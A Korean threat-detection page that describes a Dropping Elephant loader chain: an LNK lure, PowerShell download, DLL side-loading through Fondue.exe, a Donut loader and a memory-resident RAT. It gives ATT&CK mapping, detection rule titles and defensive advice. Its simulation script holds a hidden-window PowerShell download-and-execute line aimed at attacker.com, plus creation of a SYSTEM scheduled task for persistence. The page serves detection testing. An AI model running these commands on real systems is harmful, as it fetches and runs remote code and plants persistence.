최신 유행의 악성코드: Dropping Elephant의 로더 체인 내부
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
Dropping Elephant에 속하는 것으로 여겨지는 정교한 캠페인은 메모리에 상주하는 원격 액세스 트로이 목마를 전달하기 위해 중국 테마의 미끼 문서를 사용합니다. 이 침투는 진짜 Microsoft 바이너리를 통한 DLL 사이드 로딩과 디스크 기반 감지를 피하기 위한 Donut 쉘코드 로더에 의존합니다. 최종 페이로드는 또한 제어 흐름 평탄화 및 런타임 API 복원을 포함한 고급 회피 방법을 사용합니다.
조사
Rapid7 연구원들은 PDF 문서로 위장한 악성 Windows 바로 가기로 시작된 선제적인 사냥 중에 위협을 발견했습니다. 그들의 조사는 초기 스테이징에서 페이로드 체인을 따랐으며 chinagreenenergy[.]org 의 DLL 사이드 로딩을 통해 APPWIZ.cpl 의 인메모리 RAT의 실행까지 이어집니다. Diaphora를 통한 코드 수준 분석은 광범위한 재작업에도 불구하고 이전의 Dropping Elephant 샘플과의 공통 혈통을 확인했습니다.
완화
방어자는 PowerShell을 실행하는 바로 가기 파일과 C:UsersPublic에 있는 의심스러운 페이로드 스테이징과 같은 행동 탐지를 우선해야 합니다. 통상적이지 않은 이름의 예약된 작업을 모니터링하고 예상치 못한 디렉토리에서의 DLL 사이드 로딩을 식별하는 것도 중요합니다. 또한, 엔드포인트 방어는 AMSI, WLDP 및 ETW에 대한 변조를 감지하기 위해 메모리 수준의 가시성이 필요합니다.
대응
이 활동이 감지되면 추가 명령 및 제어 트래픽을 방해하기 위해 즉시 영향을 받은 시스템을 격리하십시오. 인젝션된 RAT를 식별하기 위해 메모리 포렌식을 수행하고 지속성을 위한 예약된 작업을 검사하십시오. 네트워크 로그도 알려진 C2 도메인으로의 승인되지 않은 HTTPS 트래픽 및 파일 유출의 징후를 검토해야 합니다.
graph TB %% 클래스 정의 classDef action fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef process fill:#ccffcc classDef network fill:#ffff99 %% 노드 정의 %% 초기 접근 및 실행 action_user_exec[“<b>행위</b> – <b>T1204.002 사용자 실행: 악성 파일</b><br/>피해자가 악성 바로가기 파일을 실행함<br/><b>파일</b>: GRES3001.lnk<br/><b>위장</b>: PDF 아이콘”] class action_user_exec action action_icon_smuggling[“<b>행위</b> – <b>T1027.012 난독화된 파일 또는 정보: LNK 아이콘 스머글링</b><br/>아이콘 조작을 통해 사용자를 속임<br/><b>방법</b>: LNK 파일 아이콘 위조”] class action_icon_smuggling action %% 다운로더 단계 process_conhost[“<b>프로세스</b> – <b>conhost.exe</b><br/>콘솔 창을 위한 호스트 프로세스<br/><b>역할</b>: PowerShell 다운로더 실행”] class process_conhost process action_binary_padding[“<b>행위</b> – <b>T1027.001 난독화된 파일 또는 정보: 바이너리 패딩</b><br/>문자열 분할 난독화 사용<br/><b>대상</b>: PowerShell 다운로더 스크립트”] class action_binary_padding action tool_downloader[“<b>도구</b> – <b>PowerShell 다운로더</b><br/>미끼 파일 및 악성 페이로드를 다운로드함<br/><b>출처</b>: chinagreenenergy[.]org”] class tool_downloader tool %% 다운로드 이후 및 지속성 action_masquerading[“<b>행위</b> – <b>T1036.008 가장: 파일 형식 가장</b><br/>파일을 정상 파일처럼 보이도록 이름 변경<br/><b>디렉터리</b>: C:\\Users\\Public\\”] class action_masquerading action action_persistence[“<b>행위</b> – <b>T1546 이벤트 기반 실행</b><br/>예약 작업을 통해 지속성 확보<br/><b>작업 이름</b>: GoogleErrorReport<br/><b>주기</b>: 1분마다”] class action_persistence action %% 실행 체인 및 사이드로딩 action_proxy_exec[“<b>행위</b> – <b>T1218.002 시스템 바이너리 프록시 실행: 제어판</b><br/>정상 바이너리를 이용해 로더 실행<br/><b>바이너리</b>: Fondue.exe”] class action_proxy_exec action tool_loader_cpl[“<b>도구</b> – <b>APPWIZ.cpl</b><br/>악성 제어판 로더<br/><b>방법</b>: DLL 사이드로딩”] class tool_loader_cpl tool action_reflective_load[“<b>행위</b> – <b>T1620 반사적 코드 로딩</b><br/>코드를 메모리에 직접 매핑<br/><b>로더</b>: Donut 셸코드 로더”] class action_reflective_load action %% 침해 이후 활동 및 C2 malware_rat[“<b>악성코드</b> – <b>RAT</b><br/>원격 접근 트로이목마<br/><b>상태</b>: 메모리에 상주”] class malware_rat malware action_gather_info[“<b>행위</b> – <b>T1592 피해 호스트 정보 수집</b><br/>시스템 메타데이터 수집<br/><b>데이터</b>: 사용자명, 컴퓨터명, 운영체제, IP 주소”] class action_gather_info action action_c2[“<b>행위</b> – <b>TA0011 명령 및 제어</b><br/>HTTPS를 통해 통신 유지<br/><b>도메인</b>: gcl-power[.]org”] class action_c2 action action_exfiltration[“<b>행위</b> – <b>화면 캡처 및 유출</b><br/>T1113 화면 캡처<br/><b>목적</b>: 데이터 탈취”] class action_exfiltration action %% 연결 흐름 action_user_exec –>|이어짐| action_icon_smuggling action_icon_smuggling –>|실행함| process_conhost process_conhost –>|사용함| action_binary_padding action_binary_padding –>|실행함| tool_downloader tool_downloader –>|다운로드함| action_masquerading action_masquerading –>|설정함| action_persistence action_persistence –>|트리거함| action_proxy_exec action_proxy_exec –>|로드함| tool_loader_cpl tool_loader_cpl –>|사용함| action_reflective_load action_reflective_load –>|설치함| malware_rat malware_rat –>|수행함| action_gather_info malware_rat –>|구축함| action_c2 action_c2 –>|지원함| action_exfiltration
공격 흐름
탐지
가능한 IP 조회 도메인 통신 시도 (dns를 통해)
보기
비정상적인 코드 페이지 실행 변경 (cmdline을 통해)
보기
의심스러운 예약된 작업 (감사를 통해)
보기
공용 사용자 프로필에서의 의심스러운 실행 (프로세스 생성 통해)
보기
의심스러운 디렉토리에서 로드된 Vcruntime140 동적 라이브러리 (이미지 로드 통해)
보기
공용 사용자 프로필의 의심스러운 파일 (파일 이벤트 통해)
보기
Dropping Elephant의 멀웨어 캠페인 탐지 [Windows 네트워크 연결]
보기
Fondue.exe를 통한 악성 DLL 사이드 로딩 [Windows 파일 이벤트]
보기
바로가기 및 사이드 로딩을 통한 Dropping Elephant 멀웨어 캠페인 탐지 [Windows 프로세스 생성]
보기
시뮬레이션 실행
전제조건: 원격 측정 및 기준선 사전 비행 검사가 통과해야 합니다.
이유: 이 섹션은 탐지 규칙을 유발하도록 설계된 적대적 기법(TTP)의 정밀한 실행을 자세히 설명합니다. 명령과 서술은 식별된 TTP를 직접 반영해야 하며 탐지 논리에 기대되는 정확한 원격 측정을 생성하는 것을 목표로 해야 합니다.
-
공격 서술 및 명령: 적대자는 지속성을 확립하고 다운로더를 실행하려고 합니다. 표준 이메일 필터를 우회하기 위해, 그들은 PDF로 보이는
GRES3001.lnk라는 이름의 바로 가기 파일을 사용합니다. 클릭하면conhost.exe를 호출하여 PowerShell 스크립트를 실행합니다. 동시에, 그들은GoogleErrorReport라는 이름의 예약된 작업을 만들어 지속성을 확립합니다. 이 작업은 공용 디렉토리에서 진짜 Google 에러 리포터로 위장하여Fondue.exe를 실행하도록 설계되어 대수로운 검사를 피합니다. -
회귀 테스트 스크립트:
# 1. 바로 가기/Conhost 동작 시뮬레이션 # 지정된 문자열을 명령행에 사용하여 conhost.exe의 실행을 시뮬레이션합니다 Start-Process "conhost.exe" -ArgumentList "/c PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Command IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')" # 주의: rule의 'CommandLine contains GRES3001.lnk'에 엄격히 일치하려면 해당 파일에서 온 것처럼 프로세스 호출을 시뮬레이션합니다. # 간단한 스크립트에서 쉽게 부모 프로세스 이름을 스포핑할 수 없으므로, 예상되는 명령행 문자열을 시뮬레이션합니다. Write-Host "[!] GRES3001.lnk 트리거 시뮬레이션 중..." $SimulatedCmd = "conhost.exe /c GRES3001.lnk PowerShell.exe -Command Write-Host 'Malware Loaded'" # 실제 환경에서는 Sysmon의 'CommandLine' 필드에 대상 문자열이 포함됩니다. # 2. 예약 작업 및 Fondue.exe 사이드 로딩 시뮬레이션 Write-Host "[!] GoogleErrorReport 예약 작업 시뮬레이션 중..." New-Item -Path "C:UsersPublicFondue.exe" -ItemType File -Force Set-Content -Path "C:UsersPublicFondue.exe" -Value "Dummy Payload" $TaskName = "GoogleErrorReport" $Action = New-ScheduledTaskAction -Execute "C:UsersPublicFondue.exe" Register-ScheduledTask -Action $Action -TaskName $TaskName -Description "Simulated Dropping Elephant Task" -User "SYSTEM" -Force Write-Host "[+] 시뮬레이션 완성. SIEM에서 경고를 확인하세요." -
정리 명령:
# 더미 멀웨어 바이너리 제거 Remove-Item -Path "C:UsersPublicFondue.exe" -Force # 악성 예약 작업 제거 Unregister-ScheduledTask -TaskName "GoogleErrorReport" -Confirm:$false Write-Host "[+] 정리 완성."